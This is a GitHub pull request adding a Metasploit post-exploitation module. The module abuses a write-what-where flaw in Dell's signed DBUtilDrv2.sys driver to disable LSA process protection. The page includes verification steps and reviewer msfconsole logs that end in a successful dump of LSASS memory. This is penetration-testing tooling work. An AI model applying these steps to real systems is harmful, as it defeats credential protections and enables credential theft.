Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

BYOVD to Enable/Disable Windows Memory Protection #15955

Merged
merged 3 commits into from
Dec 21, 2021

Conversation

jbaines-r7
Copy link
Contributor

@jbaines-r7 jbaines-r7 commented Dec 13, 2021

The Dell driver dbutil_2_3.sys was affected by a local privilege escalation issue due to a write-what-where condition exposed by a few of the driver's IOCTLs. This was assigned CVE-2021-21551. Dell "fixed" this issue by deprecating dbutil_2_3.sys and switching to DBUtilDrv2.sys. The new driver prevent low privileged users from interacting with the driver but did not fix the write-what-where condition.

This module leverages the write-what-where condition in DBUtilDrv2.sys version 2.5 or 2.7 to disable or enable LSA protect on a given PID (assuming the system is configured for LSA Protection). This would allow, for example, dumping LSASS memory even when Secure Boot and RunAsPPL are enabled. Or, as another example, allow an attacker to prevent antivirus from accessing the memory of a chosen process.

The Dell drivers are not in this pull request since they cannot be distributed with Metasploit. The attacker must truly BYOVD and upload the driver and installation files to the target system themselves. The module will install, exploit, and remove the driver.

The Dell drivers are of particular use since they are fully compliant with Windows recent kernel driver signing requirements, so they will likely continue being useful for the foreseeable future. The dbutil_2_3.sys driver was not included in this pull request because it is not compliant, and it uses a different installation method (which would complicate the code). It is also bound for the black list, whereas the new drivers seemingly are not.

Verification

Acquire the necessary drivers. Hashes are in the documentation or come have a chat with me. The verification below assumes we want to dump LSASS (since that would be the most popular use case). In order to enable memory protection on LSASS, enable Secure Boot and enable runAsPPL by setting a registery key in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa as described here.

  • Start msfconsole
  • Get a system Meterpreter session on a host using UEFI or Secure Boot and configured with RunAsPPL.
  • Obtain the pid of lsass.exe: ps | grep lsass
  • Background the session
  • Do: post/windows/gather/memory_dump
  • Set the SESSION, PID, and DUMP_PATH options.
  • Do: run
  • Observe a permission denied error.
  • Return to the previous session: sessions -i 1
  • Upload the required driver files: upload /home/albinolobster/drivers/2_7/ C:\\Windows\\Temp\\
  • Background the session
  • Do: use post/windows/manage/dell_memory_protect
  • Set the SESSION, PID, and DRIVER_PATH (e.g. C:\\Windows\\Temp) options.
  • Do: run
  • Observe the module exits successfully.
  • Do: post/windows/gather/memory_dump
  • Do: run
  • Observe the successful memory dump of lsass

Video || GTFO

See vidyard video (sorry too large to convert to a gif and host on here): https://share.vidyard.com/watch/QdGRV956ZTtGfR7WXVmP2q

@bwatters-r7 bwatters-r7 self-assigned this Dec 14, 2021
Copy link
Contributor

@bwatters-r7 bwatters-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Top-level:

  1. The module seems to support x86 targets and the compilation configs also create x86 targets, but the offsets and dll seem to only be for x64.
  2. Debug prints in the cpp file- not adamantly opposed, but we could definitely go without them.
  3. I want to verify the check logic works for server releases as well as workstation releases.

</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Did dell release a Win32 version of the driver, and is it vulnerable?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I mean, given this is IOCTL based write-anywhere, it is probably vulnerable, but does the driver exist, are the offsets the same, and do we care?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Apparently you have to hand modify the vcxproject to remove the default Win32 target 🙄 But you can see in the .sln that the targets are x64 Debug|Release only now.


namespace
{
const std::string s_driverHandle("\\\\.\\DBUtil_2_5");
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I assume you tested this with the 2.7 version? Were they just a bit sloppy with naming things?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yup, both versions use this handle. 🤷‍♂️

modules/post/windows/manage/dell_memory_protect.rb Outdated Show resolved Hide resolved
modules/post/windows/manage/dell_memory_protect.rb Outdated Show resolved Hide resolved
@h00die
Copy link
Contributor

h00die commented Dec 14, 2021

Is there a link or info on how/where to obtain these drivers?

@jbaines-r7
Copy link
Contributor Author

Is there a link or info on how/where to obtain these drivers?

Unfortunately, I'm told there is legal concern about distributing the drivers. However, I did link the hashes to VirusTotal in the documentation. If you can't download from VT, the relationships tab can lead you to places like:

https://www.dell.com/support/home/en-us/drivers/driversdetails?driverid=gdx4v&oscode=wt64a&productcode=precision-15-5540-laptop

@jbaines-r7
Copy link
Contributor Author

jbaines-r7 commented Dec 18, 2021

Updated to address some of @bwatters-r7's comments and the things we discussed in module hacking. Specifically:

  • I pulled the eproc offsets out of the dll and put them in the module. The correct offsets are selected in ruby and then passed as parameters to the dll. I really like this change as it makes it easier for others to introduce similar modules for other drivers.
  • Fixed the PID option to be an integer instead of a string.
  • I changed the PID option to auto-find lsass.exe if it's set to the default value (0)
  • I added a Server 2016 test to the documentation.
  • I removed the x86 targets from the visual studio build file since they were never intended to be used. They were only there since VS put them there by default.
  • Added a link to the associated R7 blog.

Based on our conversation, I left the dprintf's in the dll.

@bwatters-r7
Copy link
Contributor

In a quick test, this did not appear to work.... I'm looking to see what's going on now....

image

msf6 payload(windows/x64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
gComputer        : DESKTOP-TR3TN43
OS              : Windows 10 (10.0 Build 17134).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: DESKTOP-TR3TN43\msfuser
meterpreter > getsystem 
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > background
[*] Backgrounding session 1...
msf6 payload(windows/x64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > ps

Process List
============

 PID   PPID  Name                    Arch  Session  User                          Path
 ---   ----  ----                    ----  -------  ----                          ----

 612   456   lsass.exe               x64   0

meterpreter > background
[*] Backgrounding session 1...
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use post/windows/gather/memory_dump 
msf6 post(windows/gather/memory_dump) > set session 1
session => 1
msf6 post(windows/gather/memory_dump) > set pid 612
pid => 612
msf6 post(windows/gather/memory_dump) > show options

Module options (post/windows/gather/memory_dump):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   DUMP_PATH                   yes       File to write memory dump to
   DUMP_TYPE  standard         yes       Minidump size (Accepted: standard, full)
   PID        612              yes       ID of the process to dump memory from
   SESSION    1                yes       The session to run this module on

msf6 post(windows/gather/memory_dump) > set dump_path before_dump.bin
dump_path => before_dump.bin
msf6 post(windows/gather/memory_dump) > run

[*] Running module against DESKTOP-TR3TN43
[*] Dumping memory for lsass.exe
[-] Post aborted due to failure: payload-failed: Unable to open process: Access is denied.
[*] Post module execution completed
msf6 post(windows/gather/memory_dump) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > upload '/home/tmoose/drivers/2_7' 'C:\windows\temp`
[-] Parse error: Unmatched quote: "upload '/home/tmoose/drivers/2_7' 'C:\\windows\\temp`"
meterpreter > upload '/home/tmoose/drivers/2_7' 'C:\windows\temp'
[*] uploading  : /home/tmoose/drivers/2_7/WdfCoInstaller01009.dll -> C:\windows\temp\WdfCoInstaller01009.dll
[*] uploaded   : /home/tmoose/drivers/2_7/WdfCoInstaller01009.dll -> C:\windows\temp\WdfCoInstaller01009.dll
[*] uploading  : /home/tmoose/drivers/2_7/DBUtilDrv2.sys -> C:\windows\temp\DBUtilDrv2.sys
[*] uploaded   : /home/tmoose/drivers/2_7/DBUtilDrv2.sys -> C:\windows\temp\DBUtilDrv2.sys
[*] uploading  : /home/tmoose/drivers/2_7/DBUtilDrv2.cat -> C:\windows\temp\DBUtilDrv2.cat
[*] uploaded   : /home/tmoose/drivers/2_7/DBUtilDrv2.cat -> C:\windows\temp\DBUtilDrv2.cat
[*] uploading  : /home/tmoose/drivers/2_7/dbutildrv2.inf -> C:\windows\temp\dbutildrv2.inf
[*] uploaded   : /home/tmoose/drivers/2_7/dbutildrv2.inf -> C:\windows\temp\dbutildrv2.inf
meterpreter > background
[*] Backgrounding session 1...
msf6 post(windows/gather/memory_dump) > use post/windows/manage/dell_memory_protect 
msf6 post(windows/manage/dell_memory_protect) > set session 1
session => 1
msf6 post(windows/manage/dell_memory_protect) > set pid 612
pid => 612
msf6 post(windows/manage/dell_memory_protect) > set driver_path 'C\:windows\temp'
driver_path => C\:windows\temp
msf6 post(windows/manage/dell_memory_protect) > run

[*] Launching netsh to host the DLL...
[+] Process 3560 launched.
[*] Reflectively injecting the DLL into 3560...
[+] Exploit finished
[*] Post module execution completed
msf6 post(windows/manage/dell_memory_protect) > use post/windows/gather/memory_dump 
msf6 post(windows/gather/memory_dump) > run

[*] Running module against DESKTOP-TR3TN43
[*] Dumping memory for lsass.exe
[-] Post aborted due to failure: payload-failed: Unable to open process: Access is denied.
[*] Post module execution completed
msf6 post(windows/gather/memory_dump) > show options

Module options (post/windows/gather/memory_dump):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   DUMP_PATH  before_dump.bin  yes       File to write memory dump to
   DUMP_TYPE  standard         yes       Minidump size (Accepted: standard, full)
   PID        612              yes       ID of the process to dump memory from
   SESSION    1                yes       The session to run this module on

@jbaines-r7
Copy link
Contributor Author

jbaines-r7 commented Dec 21, 2021

msf6 post(windows/manage/dell_memory_protect) > set driver_path 'C\:windows\temp'

Looks like you misspelled the file path.

@bwatters-r7
Copy link
Contributor

homer-simpson-homer

@bwatters-r7
Copy link
Contributor

msf6 post(windows/manage/dell_memory_protect) > set driver_path 'C:\windows\temp'
driver_path => C:\windows\temp
msf6 post(windows/manage/dell_memory_protect) > run

[*] Windows Build Number = 17134
[*] Launching msiexec to host the DLL...
[+] Process 3240 launched.
[*] Reflectively injecting the DLL into 3240...
[+] Exploit finished
[*] Post module execution completed
msf6 post(windows/manage/dell_memory_protect) > use post/windows/gather/memory_dump
msf6 post(windows/gather/memory_dump) > run

[*] Running module against DESKTOP-TR3TN43
[*] Dumping memory for lsass.exe
[*] Downloading minidump (3.15 MiB)
[+] Memory dump stored at /home/tmoose/.msf4/loot/20211221122543_default_10.5.132.111_windows.process._201881.bin
[*] Deleting minidump from disk
[*] Post module execution completed
msf6 post(windows/gather/memory_dump) > 

@bwatters-r7 bwatters-r7 merged commit 1619083 into rapid7:master Dec 21, 2021
@bwatters-r7
Copy link
Contributor

Release Notes

This module leverages a write-what-where condition in DBUtilDrv2.sys version 2.5 or 2.7 to disable or enable LSA protect on a given PID (assuming the system is configured for LSA Protection). The drivers must be provided by the user.

@erran-r7 erran-r7 added the rn-modules release notes for new or majorly enhanced modules label Jan 7, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

5 participants